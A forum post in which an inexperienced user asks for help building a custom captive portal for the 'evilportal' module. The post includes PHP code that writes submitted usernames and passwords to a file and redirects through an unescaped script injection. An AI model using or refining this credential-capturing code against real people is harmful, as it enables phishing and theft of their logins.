Hi,
i have gone through the tutorials for the evilportal module, and now wanted to create a portal on my own for my needs....
I followed the tutorial from frozenjava (which was posted in the forums quite some time ago...), but im having trouble "bending" the code for my needs (basiclly im trying to: get input from "user" and "pass" text field from index.php and print it to a file in /www )...
code in index.php:
<snip>
code in capture.php:
<?php
$user = $_GET["user"];
$pass = $_GET["pass"];
$redir = $_GET["redir"];
$file = fopen("stored.txt", "a");
fwrite($file, $user . "\n");
fwrite($file, $pass . "\n");
fclose($file);
echo '<script type="text/javascript">window.location = "' . $redir . '"</script>';
?>
I think im messing things up with the variables, but im very inexperienced thus i need some help...
(oh btw: i didnt get that myportal.php replaced capture.php (i think) at first, so that i manually created my captured.php...)
Thanks in advance ;)